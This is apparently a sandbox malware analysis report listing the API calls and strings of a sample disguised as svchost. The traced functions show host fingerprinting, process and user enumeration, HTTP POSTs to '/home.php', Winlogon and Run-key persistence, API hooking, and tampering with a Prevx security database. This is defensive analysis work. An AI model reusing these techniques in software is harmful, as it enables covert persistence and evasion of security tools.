Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$HttpInternet$HandleRequest$Close$FileFreeHeadersValidate$Open$AllocConnectCreateInfoInformationQueryReadSendWrite_snprintfmemset
String ID: 6b8e26743fcf62a2$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
API String ID: 4235660723-4291293516
Opcode ID: f792555316b6eb55b19c4c9f6b3892df755008ce3cf4a75a5b66fb121d0ac0ad
Instruction ID: 14c700ebed10ca15fb36dad9405ebaab1b16be7677af05c9bd8b66d4237764b5
Opcode Fuzzy Hash: f792555316b6eb55b19c4c9f6b3892df755008ce3cf4a75a5b66fb121d0ac0ad
Instruction Fuzzy Hash: 5351A7719402847BEB219F54DC89FFB776CEF88B58F008658F905A71C0D7709A55CBA1

Function 02C73100 Relevance: 45.7, APIs: 19, Strings: 7, Instructions: 181
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C73126

Part of subcall function 02C934A0: memset.MSVCRT ref: 02C934D3
Part of subcall function 02C934A0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C934E2
Part of subcall function 02C934A0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C934E9
Part of subcall function 02C934A0: memset.MSVCRT ref: 02C93501
Part of subcall function 02C934A0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C93518
Part of subcall function 02C934A0: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9351E
Part of subcall function 02C934A0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C9353F
Part of subcall function 02C934A0: StrChrIA.SHLWAPI(?,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C93566
Part of subcall function 02C934A0: lstrcpynA.KERNEL32(7736C3F0,00000001,00000104,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C9357A

Part of subcall function 02C935A0: memset.MSVCRT ref: 02C935D4
Part of subcall function 02C935A0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C935E3
Part of subcall function 02C935A0: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C935EA
Part of subcall function 02C935A0: memset.MSVCRT ref: 02C93602
Part of subcall function 02C935A0: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02C93619
Part of subcall function 02C935A0: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9361F
Part of subcall function 02C935A0: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02C93640
Part of subcall function 02C935A0: StrChrIA.SHLWAPI(?,?,00000000,00000000,?,?,?,?,00000000), ref: 02C93667
Part of subcall function 02C935A0: lstrcpynA.KERNEL32(00000000,00000001,00000104,?,00000000,00000000,?,?,?,?,00000000), ref: 02C9367B

GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,76232F70,7736C3F0), ref: 02C73164
PathAddBackslashA.SHLWAPI(?,?,?,76232F70,7736C3F0), ref: 02C73171
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C73188
RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00000101,?,?,?,76232F70,7736C3F0), ref: 02C731AE
RegQueryValueExA.KERNEL32(?,InstallDate,00000000,?,02C8598D,?,?,?,76232F70,7736C3F0), ref: 02C731CF
RegCloseKey.ADVAPI32(?,?,?,76232F70,7736C3F0), ref: 02C731D9
CharUpperA.USER32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C731F4
CharUpperA.USER32(00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C731F8
_snprintf.MSVCRT ref: 02C73210
_snprintf.MSVCRT ref: 02C7326F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,76232F70,7736C3F0), ref: 02C7329E
HeapValidate.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732A7
GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732B3
HeapFree.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732B6
GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732C6
HeapValidate.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732C9
GetProcessHeap.KERNEL32(00000000,?,?,?,76232F70,7736C3F0), ref: 02C732D5
HeapFree.KERNEL32(00000000,?,?,76232F70,7736C3F0), ref: 02C732D8

Strings

InstallDate, xrefs: 02C731C9
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 02C731A4
%45%4E%47%49%4E%45%45%52%21%32%32%36%35%33%33%21%31%43%45%33%41%41%44%31, xrefs: 02C73230, 02C73245
user!226533!1CE3AAD1, xrefs: 02C73118, 02C7320B, 02C73212, 02C73271
%02X, xrefs: 02C73261
SystemDrive, xrefs: 02C7315F
%s!%s!%08X, xrefs: 02C73201

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$memset$Name$CharComputerErrorFreeLastUpperUserValidate_snprintflstrcpyn$AllocAllocateBackslashCloseEnvironmentInformationOpenPathQueryValueVariableVolume
String ID: %02X$%45%4E%47%49%4E%45%45%52%21%32%32%36%35%33%33%21%31%43%45%33%41%41%44%31$%s!%s!%08X$user!226533!1CE3AAD1$InstallDate$Software\Microsoft\Windows NT\CurrentVersion$SystemDrive
API String ID: 3299431409-2925837445
Opcode ID: d38a91d1cd869895afa98e9374dd89f463f3843179b0f578fd39ad50b8d3b4bd
Instruction ID: 75e312b9e7ffe3699f6f3bebc38541af77f4571995b644781dfedd3aa8380b83
Opcode Fuzzy Hash: d38a91d1cd869895afa98e9374dd89f463f3843179b0f578fd39ad50b8d3b4bd
Instruction Fuzzy Hash: 9A51C6B1E40295ABDB11CBA59C89FEBBBBCEF84704F0445D5E905E7141E7709A048BA0

Function 02C88DD0 Relevance: 37.7, APIs: 25, Instructions: 190threadmemoryCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 02C88DF6
GetThreadPriority.KERNEL32(00000000,?,02C890E0,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88DFD
GetTickCount.KERNEL32 ref: 02C88E06
VirtualProtect.KERNEL32(02C890E0,00000008,00000040,?,?,02C890E0,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000), ref: 02C88E27
VirtualAlloc.KERNEL32(00000000,00000012,00003000,00000040), ref: 02C88E46
VirtualProtect.KERNEL32(00000000,00000012,00000040,?), ref: 02C88E62
InterlockedExchange.KERNEL32(00000000,00000004), ref: 02C88E78
InterlockedExchange.KERNEL32(00000004,-00000068), ref: 02C88E86
InterlockedExchange.KERNEL32(00000005,00000000), ref: 02C88E91
InterlockedExchange.KERNEL32(00000001,-0000009C), ref: 02C88EA4
InterlockedExchange.KERNEL32(00000002,-00000081), ref: 02C88EB5
InterlockedExchange.KERNEL32(00000003,-00000074), ref: 02C88EC4
InterlockedExchange.KERNEL32(00000004,-00000024), ref: 02C88ED3
InterlockedExchange.KERNEL32(00000005,-00000004), ref: 02C88EE2
InterlockedExchange.KERNEL32(00000006,?), ref: 02C88EEA
InterlockedExchange.KERNEL32(00000002,-0000009D), ref: 02C88EFD
InterlockedExchange.KERNEL32(00000003,-000000C2), ref: 02C88F0E
InterlockedExchange.KERNEL32(00000004,-00000004), ref: 02C88F1D
InterlockedExchange.KERNEL32(00000005,00000000), ref: 02C88F29
VirtualProtect.KERNEL32(00000005,00000012,?,00000000), ref: 02C88F33
GetCurrentThread.KERNEL32 ref: 02C88F3B
SetThreadPriority.KERNEL32(00000000), ref: 02C88F42
GetCurrentThread.KERNEL32 ref: 02C88F7E
SetThreadPriority.KERNEL32(00000000), ref: 02C88F85
VirtualProtect.KERNEL32(02C890E0,00000008,00000000,02C890E0), ref: 02C88F9F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$Thread$Virtual$Protect$CurrentPriority$AllocCountTick
String ID:
API String ID: 2984368831-0
Opcode ID: d3f7dda0078a9e01edefd51bce3e908dce26cac30e1425f2bbab246dbd9780e2
Instruction ID: f67128f16ff17653a9e34e1d7b9161699e35eac166b0b198bcee514057c584d9
Opcode Fuzzy Hash: d3f7dda0078a9e01edefd51bce3e908dce26cac30e1425f2bbab246dbd9780e2
Instruction Fuzzy Hash: 13517371941219EFE711AF74CC46FAE77ACFF49310F154928F986E3180DB3899518BA0

Function 004020B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004021F3
DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402223
CloseHandle.KERNEL32(00000000), ref: 0040222A

Strings

D, xrefs: 004021B1
", xrefs: 0040215A
d, xrefs: 00402153
T, xrefs: 004021AA
", xrefs: 00402187
E, xrefs: 004021A3
4, xrefs: 004021B8
S, xrefs: 00402195
m, xrefs: 004021E2
s, xrefs: 00402172
E, xrefs: 0040219C
e, xrefs: 0040216B
\\.\KmxAgent, xrefs: 004020C8
g, xrefs: 00402179
m, xrefs: 004021CD
t, xrefs: 004021E9
0, xrefs: 004021BF
t, xrefs: 004021D4

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
API String ID: 33631002-3172865025
Opcode ID: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
Instruction ID: e7d083a3d342eb0d1741576d2c48f75b21a67eac2e30cb69abab2c03069a185e
Opcode Fuzzy Hash: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
Instruction Fuzzy Hash: 384184B0D01358DEEB20CF959988BDEFEB5BB04308F5081AED5186B281C7B90A89CF55

Function 02C743E0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 199memoryprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C74413
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,762335B0,00000000), ref: 02C7441E
Process32First.KERNEL32 ref: 02C74441
GetHandleInformation.KERNEL32(00000000,?), ref: 02C7445D
CloseHandle.KERNEL32(00000000), ref: 02C74477
GetProcessHeap.KERNEL32(00000008,?), ref: 02C744B0
HeapAlloc.KERNEL32(00000000), ref: 02C744B7
memset.MSVCRT ref: 02C744CB
OpenProcess.KERNEL32(00000410,00000000,?,?,?,?,?,00000000,?), ref: 02C744FC
GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104,?,?,?,?,00000000,?), ref: 02C74513
_snprintf.MSVCRT ref: 02C7457C
Process32Next.KERNEL32(?,?), ref: 02C7458B

Strings

taskmgr{PIDProcess name, xrefs: 02C743F4
[System Process], xrefs: 02C7452B
%d%s, xrefs: 02C74573

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleHeapProcessProcess32memset$AllocCloseCreateFileFirstInformationModuleNameNextOpenSnapshotToolhelp32_snprintf
String ID: %d%s$[System Process]$taskmgr{PIDProcess name
API String ID: 3808533164-4214784430
Opcode ID: d5d3fb5d249bcd83fd116b4f2903be2a5c7312a70a5c95f9b7e6c20cb0017866
Instruction ID: a58d1df14372a35efa8db0775b27ced9be746b89a85be76ce4bc9d0dd6485024
Opcode Fuzzy Hash: d5d3fb5d249bcd83fd116b4f2903be2a5c7312a70a5c95f9b7e6c20cb0017866
Instruction Fuzzy Hash: 5661E171A44381AFD326DB24D848FA7BBF9EFC4704F048A58F89587240E770D608CBA2

Function 02C759E0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 204stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C75A50
memset.MSVCRT ref: 02C75A6A
memset.MSVCRT ref: 02C75A84
strtol.MSVCRT ref: 02C75AFA
strstr.MSVCRT ref: 02C75B7A

Strings

1676d5775e05c50b46baa5579d4fc7, xrefs: 02C75AA4
qwrtpsdfghjklzxcvbnm, xrefs: 02C759E9
eyuioa, xrefs: 02C75A0F
%s%s, xrefs: 02C75C61

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$strstrstrtol
String ID: %s%s$1676d5775e05c50b46baa5579d4fc7$eyuioa$qwrtpsdfghjklzxcvbnm
API String ID: 600650289-3097137778
Opcode ID: fc2807ee961e9a133faa56c9e298ffd15ae3ba6a2ea2150a52904871b0101bd3
Instruction ID: da856dfcd850f2cb1d291f491d62d00feefe61db9d72616daca149179db0e07f
Opcode Fuzzy Hash: fc2807ee961e9a133faa56c9e298ffd15ae3ba6a2ea2150a52904871b0101bd3
Instruction Fuzzy Hash: E7719E71E482599BDB26CB78AC90BDEBBB5EF48300F0445E8ED49E3281D3705B45CBA1

Function 02C88C60 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 111filethreadCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C88C7A
PathAddBackslashA.SHLWAPI(?), ref: 02C88C87
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02C88CA4
CreateThread.KERNEL32(00000000,00000000,Function_000188F0,?,00000000,00000000), ref: 02C88CED
GetHandleInformation.KERNEL32(00000000,?), ref: 02C88D05
CloseHandle.KERNEL32(00000000), ref: 02C88D16
GetTempPathA.KERNEL32(00000104,?), ref: 02C88D28
GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C88D40
_snprintf.MSVCRT ref: 02C88D60
SetFileAttributesA.KERNEL32(?,00000000,00000000,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C88DAA
DeleteFileA.KERNEL32(?), ref: 02C88DB7

Strings

name=%s&port=%u, xrefs: 02C88D4F
%45%4E%47%49%4E%45%45%52%21%32%32%36%35%33%33%21%31%43%45%33%41%41%44%31, xrefs: 02C88D4A
/home.php, xrefs: 02C88D91
SystemDrive, xrefs: 02C88C75

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleInformationPathTemp$AttributesBackslashCloseCreateDeleteEnvironmentNameThreadVariableVolume_snprintf
String ID: %45%4E%47%49%4E%45%45%52%21%32%32%36%35%33%33%21%31%43%45%33%41%41%44%31$/home.php$SystemDrive$name=%s&port=%u
API String ID: 1291007772-3632277759
Opcode ID: c8c801393c20ce4181e5ce373c2be4160f4b6f058acb619a3269d56a1740c02f
Instruction ID: 19e462e9301785fa3939d799fcd2f6b6f711ed7f5f2997c3c6809450ae5e9672
Opcode Fuzzy Hash: c8c801393c20ce4181e5ce373c2be4160f4b6f058acb619a3269d56a1740c02f
Instruction Fuzzy Hash: 1E419571A80249BFEB15EB60CC49FE9777DEF84704F0086D4B605A7180EBB09B448BA0

Function 02C74630 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 158memoryfileCOMMON

Download Yara Rule

APIs

NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,00000000,00000000,00000000,762335B0,00000000,?,?,?,?,02C74FC0,00000000), ref: 02C74677
GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C746BD
HeapAlloc.KERNEL32(00000000,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C746C4
memset.MSVCRT ref: 02C746D7
_snprintf.MSVCRT ref: 02C7471D
NetApiBufferFree.NETAPI32(00000000,?,?,?,?,02C74FC0,00000000,00000000), ref: 02C74754
WriteFile.KERNEL32(00000000,02C74FC0,02C74FC1,000000EA,00000000), ref: 02C7478C
GetProcessHeap.KERNEL32(00000000,02C74FC0), ref: 02C7479F
HeapValidate.KERNEL32(00000000), ref: 02C747A2
GetProcessHeap.KERNEL32(00000000,02C74FC0), ref: 02C747AF
HeapFree.KERNEL32(00000000), ref: 02C747B2
NetApiBufferFree.NETAPI32(00000000,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C747C5

Strings

netuser{, xrefs: 02C74636
%S, xrefs: 02C74714

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess$Buffer$AllocDisplayFileInformationQueryValidateWrite_snprintfmemset
String ID: %S$netuser{
API String ID: 639091076-3648794683
Opcode ID: c680fe2a91c26ed435c5a11ecd28dce61d6406146c70b4d7320c46dbff52e3f7
Instruction ID: a09513ab196caa84cab5f38fd2b69e8b71630842e68712c06780eeb64ca6a33b
Opcode Fuzzy Hash: c680fe2a91c26ed435c5a11ecd28dce61d6406146c70b4d7320c46dbff52e3f7
Instruction Fuzzy Hash: 0B51D871E40259ABDF26CFA4DC58BEFBBB9EF85701F144695E804E7244D7309A04CBA1

Function 00402420 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040243C
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004024A0
SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004024C3
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024D8
SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004024E4
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024F3
SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004024FF
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040250E
SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040251A
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402529
SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402535
WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402544
CloseHandle.KERNEL32(00000000), ref: 00402547

Strings

\PrevxCSI\csidb.csi, xrefs: 0040245A

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: File$PointerWrite$CloseCreateFolderHandlePath
String ID: \PrevxCSI\csidb.csi
API String ID: 606440919-2829233815
Opcode ID: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
Instruction ID: da06213ca23f861e298ab990455e1520987101534f77d1697d18ba9606f76a1b
Opcode Fuzzy Hash: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
Instruction Fuzzy Hash: 03314871684218BEF311EB90DC96FEA7768EF89B00F104165F304AA1D0DBF16A45CBA9

Function 02C73310 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 80registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C73335
GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C73354
PathAddBackslashA.SHLWAPI(?), ref: 02C73361
GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02C7337E
_snprintf.MSVCRT ref: 02C73399
RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02C733B7
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 02C733EE
RegQueryValueExA.KERNEL32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02C7340C
RegCloseKey.ADVAPI32(00000000), ref: 02C7341A

Strings

software\microsoft\windows\currentversion\run, xrefs: 02C733E4
software\microsoft\windows nt\currentversion\winlogon, xrefs: 02C733AD
userinit, xrefs: 02C73406
C:\Windows\apppatch\svchost.exe, xrefs: 02C733C4, 02C733FB
SystemDrive, xrefs: 02C7334F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Open$AdminBackslashCloseEnvironmentInformationPathQueryUserValueVariableVolume_snprintf
String ID: C:\Windows\apppatch\svchost.exe$SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
API String ID: 3780845138-4271125494
Opcode ID: 6b750813ce8372b554415f7555ee6dfe068380e2f3290fbfdfa6d2ac92d90761
Instruction ID: 77455b1871250831008721f3d0005f1f0931f4f4ce81c7aab28f52af9f795f73
Opcode Fuzzy Hash: 6b750813ce8372b554415f7555ee6dfe068380e2f3290fbfdfa6d2ac92d90761
Instruction Fuzzy Hash: 56213CB1E80248BBFB15CB90DD4AFEDB77CEB44B00F104598B705A7080D7B4AA44CBA1

Function 00402810 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 106registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,00000000), ref: 0040284B
GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 00402866
PathAddBackslashA.SHLWAPI(?), ref: 00402873
GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 00402890
_snprintf.MSVCRT ref: 004028AB
RegCreateKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000000,00000000,00000102,00000000,00000000,00000000), ref: 004028FA
RegSetValueExA.KERNELBASE(00000000,userinit,00000000,00000001,?,?), ref: 0040291E
RegFlushKey.ADVAPI32(00000000), ref: 0040292D
RegCloseKey.ADVAPI32(00000000), ref: 00402937

Strings

software\microsoft\windows\currentversion\run, xrefs: 004028F0
SystemDrive, xrefs: 00402861
software\microsoft\windows nt\currentversion\winlogon, xrefs: 00402833
userinit, xrefs: 00402918

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: Create$BackslashCloseEnvironmentFlushInformationPathValueVariableVolume_snprintf
String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
API String ID: 3547530944-2324515132
Opcode ID: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
Instruction ID: 580de61d93956de76c260b8cd85b43503f34d02da1fa31da69fbe3ce3aace33d
Opcode Fuzzy Hash: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
Instruction Fuzzy Hash: 0F3166B5740305BBE720DB909D4AFEA777CDB95B00F208155FB44BA1D0D6F4AA448BA8

Function 02C93B50 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C93B76
CreateToolhelp32Snapshot.KERNEL32(00000008,?,?,00000000,76230F00), ref: 02C93B87
GetLastError.KERNEL32 ref: 02C93B90
SwitchToThread.KERNEL32 ref: 02C93B9F
CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02C93BA8
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93BC8
CloseHandle.KERNEL32(00000000), ref: 02C93BD9
Module32First.KERNEL32(00000000,?), ref: 02C93BFA
StrStrIA.SHLWAPI(?,kernel), ref: 02C93C1C
StrStrIA.SHLWAPI(00000000,.dll), ref: 02C93C28
Module32Next.KERNEL32(00000000,00000224), ref: 02C93C36

Strings

.dll, xrefs: 02C93C22
kernel, xrefs: 02C93C10

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
String ID: .dll$kernel
API String ID: 2979424695-2375045364
Opcode ID: 837fe52d8f96531e792efd769e438687a494a964506d8d084a00e4bcb74075a0
Instruction ID: d2d9058f1445d8cf351f5a5261efd48de42c6316710ee31e9748862b917e9faa
Opcode Fuzzy Hash: 837fe52d8f96531e792efd769e438687a494a964506d8d084a00e4bcb74075a0
Instruction Fuzzy Hash: 45219971E4155467DB11ABA9AC4CBDEB3ACDF89714F1007D5E905D3180DB30DE458BA1

Function 00401C70 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401C96
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
GetLastError.KERNEL32 ref: 00401CB0
SwitchToThread.KERNEL32 ref: 00401CBF
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
CloseHandle.KERNEL32(00000000), ref: 00401CF9
Module32First.KERNEL32(00000000,?), ref: 00401D1A
StrStrIA.SHLWAPI(?,kernel), ref: 00401D3C
StrStrIA.SHLWAPI(00000000,.dll), ref: 00401D48
Module32Next.KERNEL32(00000000,00000224), ref: 00401D56

Strings

kernel, xrefs: 00401D30
.dll, xrefs: 00401D42

